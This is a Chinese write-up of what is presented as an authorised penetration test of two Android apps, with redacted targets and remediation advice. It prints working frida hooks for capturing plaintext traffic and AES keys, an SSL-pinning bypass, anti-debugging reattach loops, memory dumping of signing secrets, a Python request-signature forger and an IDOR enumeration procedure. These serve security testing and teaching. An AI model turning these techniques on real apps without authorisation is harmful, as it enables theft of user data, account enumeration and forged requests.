ARTICLE · 979018
揭秘App加固漏洞:陌生人社交类App的渗透测试全过程
揭秘App加固漏洞:陌生人社交类App的渗透测试全过程App 渗透测试实战:从签名伪造到水平越权 本文基于一次授权的移动端渗透测试项目整理,目标为新能源出行类 App(下文称"目标 A")与陌生人社交类 App(目标 B)。所有域名、包名、密钥、账号均已脱敏,仅保留技术方法与数据形态。仅用于安全研究与学习。 目录 一、概述与测试流程 本次测试以两个业务形态完全不同的 App 为对象:
整体测试流程: 核心结论: 二、前置准备:工具链与环境 2.1 宿主机工具链
2.2 模拟器联动配置 模拟器到 Burp 的流量打通分三层: 经验:Android 7+ 用户证书默认不信任,需做系统证书;WebView 进程有证书缓存,修改后需杀 webviewzygote 重启才生效。全局 HTTP 代理会被部分 App 检测(读 settings get global httpproxy),iptables 透明转发无感知、对抗检测效果最好。 三、APK 获取与信息收集 3.1 获取方式 3.2 基础信息
3.3 初步研判 四、静态分析:反编译与代码审计 4.1 反编译 目标 B 反编译产出 4.3 万+ Java 文件。目标 A 的加固 dex 在脱壳后反编译(见第九章)。 4.2 网络层审计(目标 B) 4.3 网络层审计(目标 A) 4.4 代码审计要点 五、动态分析基础:环境与 frida-server 5.1 frida-server 部署 5.2 基础验证 5.3 环境排查清单
六、frida 核心:attach 与 spawn 6.1 两种模式
6.2 实战中的坑:attach 被反调试拒绝 目标 B(壳 B)对 attach 有反调试: 绕过方案: 经验:加固 App 的 frida 对抗是"军备竞赛"。先试 attach,失败再试 spawn;spawn 可能因壳的进程模型(loader 与真实业务进程分离)而"注入错进程",需要核对注入进程的 PID 与真实主进程是否一致。 七、绕过模拟器检测 目标 B 所在网易系产品线对"模拟器 + 代理"环境有检测,直接表现为:关闭全局代理后正常,开启代理后界面"网络异常"。 7.1 检测维度 7.2 绕过方案(本次实测有效)
实测:关闭全局代理并改用 iptables 透明转发后,目标 B 恢复正常且流量仍到 Burp(tcpdump 确认 200+ 包进入 8080)。 八、动态调试技巧 8.1 请求/响应明文直取 hook OkHttp 响应体,绕过加密层直接读明文: 8.2 加密函数双向取值 目标 B 的请求加密在 native(Lua 引擎 APICryptor),hook Java 包装层拿"明文↔密文"对: 8.3 枚举类名辅助定位 九、加固应用的脱壳 9.1 壳类型研判(目标 A:VMP) 目标 A 的核心 so libkeys.so 代码段为 VMP(指令虚拟化): 9.2 脱壳策略:内存 dump 提取关键常量 静态不可行 → 改为运行时从内存提取解密后的敏感常量: 对 dump 产物做字符串/模式提取: 9.3 脱壳结论 目标 B 业务 dex 明文,无需脱壳;目标 A 采用"VMP 保护 + 运行期明文常量"的组合,VMP 保护了 so 静态逻辑,但运行时数据面(密钥/IV/token)仍是明文可提取——这是本类加固的共性短板。 十、常见漏洞面测试 漏洞一:请求签名机制可离线伪造(目标 A) 10.1 现象 Burp 中观察目标 A 所有请求均携带统一格式的签名参数与公共参数: 10.2 签名还原 反编译定位两层拦截器: 参数排序、拼接格式均从源码逐行还原。密钥来源:从内存 dump 中提取出 32 字符密钥(见 9.2)。 10.3 验证 写 Python 复现签名并重放: 10.4 影响 攻击者可离线构造任意签名请求:篡改业务参数、遍历资源 ID、重放订单操作,服务端无法区分伪造流量。修复方向:密钥下沉到服务端下发 + 短期轮换、增加设备绑定/行为风控、对异常频率告警。 漏洞二:用户信息接口水平越权(IDOR)(目标 A) 11.1 接口定位 在签名伪造的基础上,枚举出用户信息接口: 该接口要求登录(无 token 返回未登录),登录后返回任意 account_id 的用户摘要(昵称、头像、关注数、用户关系等)。 11.2 越权验证
11.3 同类延伸 11.4 根因与修复 根因:服务端只校验了"已登录",未校验"资源归属"(对象级授权缺失)。 修复方向: 漏洞三:512-bit RSA 弱密钥(目标 B) 目标 B 内嵌 512-bit RSA 公钥,可用于因数分解恢复私钥(GNFS/msieve/yafu)。若业务用该公钥加密敏感数据(登录/支付参数),攻击者恢复私钥后可解密任意密文。 风险评级依据:NIST 明确 512-bit RSA 早已不安全;业界共识 <1024-bit 视为可分解。修复:升级 ≥2048-bit,并检查同公钥在其他 SDK 的复用情况。 十一、渗透测试注意事项 十二、测试报告与沉淀 12.1 报告结构 12.2 可复用资产 12.3 经验沉淀 十三、附录:frida 脚本模板合集 模板 1:通用网络请求捕获 模板 2:AES 密钥捕获 模板 3:反调试循环重连(attach) 模板 4:SSL Pinning 绕过(备用) 模板 5:native 函数 hook(JNI 导出符号) 声明:本文所有技术内容仅用于授权的安全测试与学习研究,禁止用于非法用途。涉及的具体目标、密钥、账号均已完成脱敏处理。
[概述与测试流程](#一概述与测试流程) [前置准备:工具链与环境]() [APK 获取与信息收集](-获取与信息收集) [静态分析:反编译与代码审计]() [动态分析基础:环境与 frida-server](-frida-server) [frida 核心:attach 与 spawn](-核心attach-与-spawn) [绕过模拟器检测]() [动态调试技巧]() [加固应用的脱壳]() [常见漏洞面测试]() [渗透测试注意事项]() [测试报告与沉淀]() [附录:frida 脚本模板合集](-脚本模板合集)
信息收集 → 静态分析 → 动态环境搭建 → 抓包打通 → 签名机制还原 → 登录态获取 → 越权枚举 → 加密破解 → 报告输出目标 A 的请求签名基于可提取的静态密钥 + 公开算法(MD5),攻击者可完全离线伪造任意请求,绕过服务端验签; 目标 A 的用户信息接口存在水平越权,任意登录用户可通过遍历 account_id 读取其他用户的账号信息; 目标 B 内嵌 512-bit RSA 公钥,存在因数分解恢复私钥的风险(可用于解密依赖该公钥的业务数据)。
# 1) 证书安装:PortSwigger CA 转 PEM 并挂载为系统证书opensslx509-informder-incacert.der-outcacert.pemHASH=$(opensslx509-informPEM-subject_hash_old-incacert.pem | head-1)adbpushcacert.pem/data/local/tmp/cacerts/$HASH.0# 2) 系统证书目录 bind mount(/system 只读时无需 remount)adbshell"mount --bind /data/local/tmp/cacerts /system/etc/security/cacerts"# 3) iptables 透明 DNAT(按 App uid 转发,App 感知不到代理)adbshell"iptables -t nat -A OUTPUT -p tcp -m owner --uid-owner <APP_UID> \ -j DNAT --to-destination 10.0.2.2:8080"目标 A:从应用商店/官网下载正式 APK 目标 B:从已安装设备提取
# 从已安装设备提取 APKadbshellpmpathcom.target.badbpull/data/app/.../base.apkaaptdumpbadgingbase.apk查看 lib/ 目录下的 so:目标 A 出现壳 A 特征文件(libkeys.so 等),目标 B 出现壳 B 特征文件(libsec-lib.so 等)→ 均判定为商业加固; 目标 B 的 classes.dex 仅 100KB(真实业务被加密),但存在大量明文 classes2~N.dex——判断为"只加固入口,业务 dex 明文",可直接反编译。
jadx-dsrcbase.apk# 目标 B 直接全量反编译(业务 dex 明文)grep 提取主域名 api.example-social.com,接口前缀 /neapi/; 定位网络加密工具类:p3/x4.java(第三方地图 SDK 内嵌加密工具): 512-bit RSA 公钥(Exponent=65537,OAEPWITHSHA-1ANDMGF1PADDING); AES/CBC 加密,IV 用斐波那契数列混淆生成。
定位 OkHttp 拦截器链,还原请求签名机制(见第十章漏洞 1)。
搜 Cipher.getInstance / SecretKeySpec → 定位加密逻辑; 搜 Interceptor 实现 → 定位请求/响应加解密与签名点; 搜 native 方法声明 → 判断加密是否下沉到 so; 扫硬编码:appKey/appSecret/token/api_key; 枚举导出组件(exported=true)与 WebView 配置。
# 下载与架构匹配的 frida-server (arm64)adbpushfrida-server/data/local/tmp/adbshell"chmod 755 /data/local/tmp/frida-server"adbshell"/data/local/tmp/frida-server -l 0.0.0.0:27042 &"adbforwardtcp:27042tcp:27042frida-ps-U# 列出进程frida-ps-Ua# 仅 App直接 attach 报 unexpected early end-of-stream; 使用 frida-ps 枚举时进程被隐藏/干扰。
按 PID attach:壳只对 frida-ps 枚举做了隐藏,getprocesslist 拿真实 PID 后直接 attach(pid) 可绕过枚举层检测; 循环重连:反调试会杀进程(PID 漂移),用脚本"检测主进程 PID → 重新 attach + 注入脚本",实现长稳 hook。
# 循环重连核心逻辑(节选)whileTrue: pid = get_main_pid(device, package)if pid and pid != last_pid: session = device.attach(pid) session.create_script(js).load() sleep(2.5)系统代理检测:读 settings get global http_proxy,非空即判定异常; VPN 状态检测:ConnectivityManager 查 VPN 接口; 模拟器特征检测:Build 指纹、/dev/qemu_pipe 等。
# 关闭全局代理(根因修复)adbshellsettingsputglobalhttp_proxy:0Java.perform(function () {var Res = Java.use("okhttp3.ResponseBody"); Res.create.overload("okio.BufferedSource", "java.lang.String", "long") .implementation=function (s, t, l) {var r =this.create(s, t, l);try {var body = r.string(); console.log("[RESP] "+ body);return Java.use("okhttp3.ResponseBody") .create(Java.use("okio.Okio").buffer( Java.use("okio.ByteString").encodeUtf8(body).toByteArray() ), t); } catch (e) { return r; } };});Java.perform(function () {varC= Java.use("com.target.b.crypto.caesar.APICryptor");C.encrypt.implementation=function (x) {var r =this.encrypt(x); console.log("[ENC] "+ x +" => "+ r); // 明文与密文成对打印return r; };});Java.perform(function () { Java.enumerateLoadedClasses({onMatch:function (name) {if (name.indexOf("crypto") >=0) console.log(name); },onComplete:function () {} });});段属性为 rwxp(可读写执行),代码被翻译为自定义字节码,静态反汇编不可行; 无法用常规脱壳工具直接还原 so 逻辑。
# 从 /proc/<pid>/mem 按映射区间 dump(dalvik 堆 + so 数据段)ddif=/proc/$PID/membs=4096skip=<start> count=<len> >> heap.bin签名密钥(32 位十六进制形态)命中多次; AES 相关 16 字节常量命中(数据区镜像); 登录态数据(token ×6、手机号 ×6、user_id ×24)均以明文存在于堆中。
GET /v1/user/summary?app_ver=4.x®ion=cn&app_id=xxxxx&device_id=xxxxxxxx ×tamp=1786888410&sign=<32位hex> HTTP/2Host: api.example-autos.com公共参数拦截器:注入 appid / region / lang / appver / terminal / device_id / timestamp; 签名拦截器:对"方法 + 路径 + 排序参数 + 密钥 + token"做 MD5:
raw = METHOD + "/" + path + "?" + sorted(k=v 参数&连接, 排除sign/sig前缀) + APP_SECRET + ACCESS_TOKENsign = MD5(raw)defsign(method, path, params, access_token): raw = method + "/" + path + "?" + "&".join(f"{k}={v}"for k, v insorted(params.items())ifnot k.startswith("sign") andnot k.startswith("sig") ) + APP_SECRET + access_tokenreturn hashlib.md5(raw.encode()).hexdigest()使用错误密钥 → 返回 sign_failed(服务端验签,公式正确); 使用提取密钥 → 返回业务数据(HTTP 200)→ 签名伪造成功。
GET /v1/user/summary?account_id=<id># 1) 用自己的 token 请求自己的 account_id → success,返回数据# 2) 将 account_id 替换为相邻值 → 返回其他用户数据(success)# 3) 步进遍历 1000 个 ID → 命中 13 个其他用户账号手机号→账号映射接口:GET /share/users?mobile=<11位>,有效手机号返回账号 ID+昵称,未注册返回 usernotfound——可用于账号枚举/撞库; 昵称全局搜索接口:GET /user/v1/profile-search?key=<昵称> 可检索任意用户。
服务端强制以 token 解析的会话用户作为资源主体,忽略客户端传入的 account_id; 若必须支持查询他人,增加可见性校验(好友/授权关系); 手机号映射接口加风控(频率限制 + 验证码)。
授权边界:所有测试在授权范围内进行,不碰未授权目标; 数据脱敏:抓包与报告中的 PII 一律打码,不在报告中留存真实 token/账号; 遍历爆破节奏:IDOR 枚举、密码类爆破需控制频率,避免影响线上业务; 写入操作:涉及订单/支付/删除类接口,先确认是幂等/可逆操作,必要时只做最小验证(改查询参数,不真正提交); 环境隔离:模拟器/抓包环境与生产网络隔离,防止误伤真实用户; 加固对抗边界:frida/脱壳过程可能触发 App 风控,异常数据及时丢弃,不影响后续分析。
1. 项目概述(范围、时间、方法)2. 资产清单(App 版本、接口面、加固情况)3. 漏洞清单(按风险等级排序)4. 漏洞详情(位置 / 复现步骤 / 影响 / 修复建议)5. 修复验证建议6. 附录(抓包样本脱敏、脚本清单)签名复现脚本(一套参数适配多接口) 越权枚举脚本(IDOR 步进遍历 + 结果判定) 加密爆破/解密脚本(AES 密钥候选 + 密文验证) frida hook 脚本模板(见附录) 模拟器联动一键脚本(证书 + iptables + 代理清理)
先抓包再看代码:流量往往暴露最直接的攻击面; 签名密钥/IV 运行时必在内存:VMP 保护静态,但数据面是突破口; 代理检测 ≠ 抓不了:iptables 透明转发是对抗代理检测的标准答案; 加密响应不是终点:密钥在客户端就一定能提取,关键在提取路径与验证方式。
Java.perform(function () {// 请求侧var Req = Java.use("okhttp3.Request"); Req.url.implementation=function () {var u =this.url(); console.log("[REQ] "+ u.toString());return u; };// 响应侧var Res = Java.use("okhttp3.ResponseBody"); Res.create.overload("okio.BufferedSource", "java.lang.String", "long") .implementation=function (s, t, l) { /* 见第八章 */ };});Java.perform(function () {varC= Java.use("javax.crypto.Cipher");C.init.overload("int", "java.security.Key", "java.security.spec.AlgorithmParameterSpec") .implementation=function (m, k, p) { console.log("[AES-key] "+ k.getEncoded()); console.log("[AES-iv ] "+ Java.use("javax.crypto.spec.IvParameterSpec") .$new(p.getIV()).toString());returnthis.init(m, k, p); };});import frida, timedefon_message(msg, data):if msg["type"] == "send":print(msg["payload"])JS = open("hook.js").read()device = frida.get_usb_device()last = 0whileTrue:try:for p in device.enumerate_processes():if p.name == "com.target.b":if p.pid != last: s = device.attach(p.pid) s.create_script(JS).on("message", on_message).load()print("[+] attached", p.pid) last = p.pidbreakexceptExceptionas e:print("[-]", e) time.sleep(2.5)Java.perform(function () {varT= Java.use("okhttp3.CertificatePinner");T.check.overload("java.lang.String", "java.util.List") .implementation=function (h, l) { return; };});// 先静态解析 so 导出符号(PT_DYNAMIC -> DT_SYMTAB),拿到偏移后:varbase = Module.findBaseAddress("libkeys.so");Interceptor.attach(base.add(0xB3C), { // 0xB3C 为导出函数偏移onEnter:function (args) { console.log("[native] enter"); },onLeave:function (ret) { console.log("[native] ret="+ ret); }});